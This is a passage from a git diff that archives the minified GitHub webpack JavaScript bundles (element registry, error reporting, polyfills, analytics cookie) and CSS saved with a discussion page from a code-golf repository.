mise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 0:A.content;if(!!x){if(n(p.error.stacktrace)){b=!0;return}d++;try{await fetch(x,{method:"post",body:JSON.stringify(p)})}catch{}}}e(O,"report");function T(p){return{type:p.name,value:p.message,stacktrace:E(p)}}e(T,"formatError");function I(p,_={}){return Object.assign({error:p,sanitizedUrl:(0,o.S)()||window.location.href,readyState:document.readyState,referrer:(0,a.wP)(),timeSinceLoad:Math.round(Date.now()-y),user:s()||void 0,turbo:(0,u.c)("TURBO")},_)}e(I,"errorContext");function E(p){return(0,f.Q)(p.stack||"").map(_=>({filename:_.file||"",function:String(_.methodName),lineno:(_.lineNumber||0).toString(),colno:(_.column||0).toString()}))}e(E,"stacktrace");const r=/(chrome|moz|safari)-extension:\/\//;function n(p){return p.some(_=>r.test(_.filename)||r.test(_.function))}e(n,"isExtensionError");function s(){var p,_;const A=(_=(p=document.head)==null?void 0:p.querySelector('meta[name="user-login"]'))==null?void 0:_.content;return A||`anonymous-${(0,l.b)()}`}e(s,"pageUser");let g=!1;window.addEventListener("pageshow",()=>g=!1),window.addEventListener("pagehide",()=>g=!0),document.addEventListener(a.QE.ERROR,p=>{O(I({type:"SoftNavError",value:p.detail,stacktrace:E(new Error)}))});function L(){return!g&&!b&&d<10&&(0,c.Gb)()&&!(0,v.Z)(document)}e(L,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",_=>{S(_.data.error)})},49815:(w,t,i)=>{"use strict";i.d(t,{$:()=>o,c:()=>c});var a=i(15205);const v=(0,a.Z)(l);function l(){var u,b;return(((b=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:b.content)||"").split(",")}e(l,"enabledFeatures");const c=(0,a.Z)(f);function f(u){return v().indexOf(u)!==-1}e(f,"isEnabled");const o={isFeatureEnabled:c}},97474:(w,t,i)=>{"use strict";i.d(t,{Z:()=>a});function a(v){var l,c;const f=(c=(l=v.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:c.content;if(!f)return!1;const o=f.replace(/\.$/,"").split(".").slice(-2).join("."),u=v.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return o!==u}e(a,"detectProxySite")},84818:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});class a{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}e(a,"NoOpStorage");function v(l,c={throwQuotaErrorsOnSet:!1},f=window){let o;try{o=f[l]}catch{o=new a}const{throwQuotaErrorsOnSet:u}=c;function b(S){try{return o.getItem(S)}catch{return null}}e(b,"getItem");function d(S,O){try{o.setItem(S,O)}catch(T){if(u&&T.message.toLowerCase().includes("quota"))throw T}}e(d,"setItem");function y(S){try{o.removeItem(S)}catch{}}return e(y,"removeItem"),{getItem:b,setItem:d,removeItem:y}}e(v,"safeStorage")},24216:(w,t,i)=>{"use strict";i.d(t,{LS:()=>l,cl:()=>c,rV:()=>v});var a=i(84818);const{getItem:v,setItem:l,removeItem:c}=(0,a.Z)("sessionStorage")},29946:(w,t,i)=>{"use strict";i.d(t,{Ak:()=>I,F2:()=>A,F6:()=>g,FP:()=>O,LD:()=>S,OE:()=>y,Po:()=>d,QE:()=>c,Rl:()=>p,Xk:()=>n,Ys:()=>s,aN:()=>_,wP:()=>L});var a=i(24216),v=i(47930),l=i(45922);const c=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",o="soft-navigation-referrer",u="soft-navigation-marker",b="reload";function d(){return(0,a.rV)(u)==="1"}e(d,"inSoftNavigation");function y(){return Boolean(E())}e(y,"hasSoftNavFailure");function S(){performance.mark(u),(0,a.LS)(u,"1"),(0,a.LS)(o,(0,v.S)()||window.location.href)}e(S,"startSoftNav");function O(){(0,a.LS)(u,"0")}e(O,"endSoftNav");function T(){(0,a.LS)(u,"0"),(0,a.cl)(o),(0,a.cl)(f)}e(T,"clearSoftNav");function I(x){(0,a.LS)(f,x||b)}e(I,"setSoftNavFailReason");function E(){return(0,a.rV)(f)}e(E,"getSoftNavFailReason");let r=0;function n(){r+=1,document.dispatchEvent(new CustomEvent(c.SUCCESS,{detail:r}))}e(n,"softNavSucceeded");function s(){const x=E()||b;document.dispatchEvent(new CustomEvent(c.ERROR,{detail:x})),r=0,T(),(0,l.b)({turboFailureReason:x})}e(s,"softNavFailed");function g(){document.dispatchEvent(new CustomEvent(c.INITIAL)),r=0,T()}e(g,"softNavInitial");function L(){return(0,a.rV)(o)||document.referrer}e(L,"getSoftNavReferrer");function p(){return performance.getEntriesByName(u).length===0?0:performance.measure(u,u).duration}e(p,"getDurationSinceLastSoftNav");function _(){document.dispatchEvent(new Event(c.START))}e(_,"beginProgressBar");function A(){document.dispatchEvent(new Event(c.END))}e(A,"completeProgressBar")},45922:(w,t,i)=>{"use strict";i.d(t,{b:()=>c});var a=i(97474),v=i(7739);let l=[];function c(d,y=!1){d.timestamp===void 0&&(d.timestamp=new Date().getTime()),d.loggedIn=b(),l.push(d),y?u():o()}e(c,"sendStats");let f=null;async function o(){await v.C,f==null&&(f=window.requestIdleCallback(u))}e(o,"scheduleSendStats");function u(){var d,y;if(f=null,!l.length||(0,a.Z)(document))return;const S=(y=(d=document.head)==null?void 0:d.querySelector('meta[name="browser-stats-url"]'))==null?void 0:y.content;if(!S)return;const O=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(S,O)}catch{}l=[]}e(u,"flushStats");function b(){var d,y;return!!((y=(d=document.head)==null?void 0:d.querySelector('meta[name="user-login"]'))==null?void 0:y.content)}e(b,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)},30523:w=>{(function(){"use strict";var t=window,i=document;function a(l){var c=["MSIE ","Trident/","Edge/"];return new RegExp(c.join("|")).test(l)}e(a,"isMicrosoftBrowser");function v(){if("scrollBehavior"in i.documentElement.style&&t.__forceSmoothScrollPolyfill__!==!0)return;var l=t.HTMLElement||t.Element,c=468,f=a(t.navigator.userAgent)?1:0,o={scroll:t.scroll||t.scrollTo,scrollBy:t.scrollBy,elementScroll:l.prototype.scroll||b,scrollIntoView:l.prototype.scrollIntoView},u=t.performance&&t.performance.now?t.performance.now.bind(t.performance):Date.now;function b(n,s){this.scrollLeft=n,this.scrollTop=s}e(b,"scrollElement");function d(n){return .5*(1-Math.cos(Math.PI*n))}e(d,"ease");function y(n){if(n===null||typeof n!="object"||n.behavior===void 0||n.behavior==="auto"||n.behavior==="instant")return!0;if(typeof n=="object"&&n.behavior==="smooth")return!1;throw new TypeError("behavior member of ScrollOptions "+n.behavior+" is not a valid value for enumeration ScrollBehavior.")}e(y,"shouldBailOut");function S(n,s){if(s==="Y")return n.clientHeight+f1?1:_,g=d(_),L=n.startX+(n.x-n.startX)*g,p=n.startY+(n.y-n.startY)*g,n.method.call(n.scrollable,L,p),(L!==n.x||p!==n.y)&&t.requestAnimationFrame(E.bind(t,n))}e(E,"step");function r(n,s,g){var L,p,_,A,x=u();n===i.body?(L=t,p=t.scrollX||t.pageXOffset,_=t.scrollY||t.pageYOffset,A=o.scroll):(L=n,p=n.scrollLeft,_=n.scrollTop,A=b),E({scrollable:L,method:A,startTime:x,startX:p,startY:_,x:s,y:g})}e(r,"smoothScroll"),t.scroll=t.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.scroll.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:t.scrollY||t.pageYOffset);return}r.call(t,i.body,arguments[0].left!==void 0?~~arguments[0].left:t.scrollX||t.pageXOffset,arguments[0].top!==void 0?~~arguments[0].top:t.scrollY||t.pageYOffset)}},t.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])){o.scrollBy.call(t,arguments[0].left!==void 0?arguments[0].left:typeof arguments[0]!="object"?arguments[0]:0,arguments[0].top!==void 0?arguments[0].top:arguments[1]!==void 0?arguments[1]:0);return}r.call(t,i.body,~~arguments[0].left+(t.scrollX||t.pageXOffset),~~arguments[0].top+(t.scrollY||t.pageYOffset))}},l.prototype.scroll=l.prototype.scrollTo=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){if(typeof arguments[0]=="number"&&arguments[1]===void 0)throw new SyntaxError("Value couldn't be converted");o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left:typeof arguments[0]!="object"?~~arguments[0]:this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top:arguments[1]!==void 0?~~arguments[1]:this.scrollTop);return}var n=arguments[0].left,s=arguments[0].top;r.call(this,this,typeof n=="undefined"?this.scrollLeft:~~n,typeof s=="undefined"?this.scrollTop:~~s)}},l.prototype.scrollBy=function(){if(arguments[0]!==void 0){if(y(arguments[0])===!0){o.elementScroll.call(this,arguments[0].left!==void 0?~~arguments[0].left+this.scrollLeft:~~arguments[0]+this.scrollLeft,arguments[0].top!==void 0?~~arguments[0].top+this.scrollTop:~~arguments[1]+this.scrollTop);return}this.scroll({left:~~arguments[0].left+this.scrollLeft,top:~~arguments[0].top+this.scrollTop,behavior:arguments[0].behavior})}},l.prototype.scrollIntoView=function(){if(y(arguments[0])===!0){o.scrollIntoView.call(this,arguments[0]===void 0?!0:arguments[0]);return}var n=I(this),s=n.getBoundingClientRect(),g=this.getBoundingClientRect();n!==i.body?(r.call(this,n,n.scrollLeft+g.left-s.left,n.scrollTop+g.top-s.top),t.getComputedStyle(n).position!=="fixed"&&t.scrollBy({left:s.left,top:s.top,behavior:"smooth"})):t.scrollBy({left:g.left,top:g.top,behavior:"smooth"})}}e(v,"polyfill"),w.exports={polyfill:v}})()},28382:(w,t,i)=>{"use strict";i.d(t,{Q:()=>v});var a="";function v(E){var r=E.split(` +`);return r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon 